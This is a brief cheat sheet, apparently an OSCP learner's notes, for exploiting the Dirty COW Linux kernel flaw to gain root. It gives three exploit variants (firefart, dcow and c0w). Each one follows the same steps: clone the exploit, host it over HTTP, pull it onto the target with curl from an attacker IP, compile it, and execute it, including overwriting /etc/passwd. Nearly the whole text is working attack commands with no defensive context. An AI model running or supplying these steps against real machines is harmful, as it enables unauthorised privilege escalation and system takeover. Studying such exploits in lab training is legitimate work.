Dirtycow Firefart

Downloading

 
git clone https://github.com/firefart/dirtycow.git
 
python -m http.server 80

Transferring

 
curl http://192.168.45.249/dirty.c -o dirty.c

Compiling

gcc -pthread dirty.c -o dirty -lcrypt

Executing

 
./dirtycow firefart
 

Dirtycow /etc/passwd

Downloading

python -m http.server 80

Transferring

curl http://192.168.45.249/dcow.cpp -o dcow.cpp

Compling

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil

making it executable

chmod +x dcow
 

Executing

./dcow -s

Dirtycow Tribius

Code location

/home/jay/Documents/tool_for_oscp/Linux-PrivEsc-Tools/tools/kernel-exploits

Compiling

gcc -pthread c0w.c -o c0w

Executing

./c0w

/usr/bin/passwd

id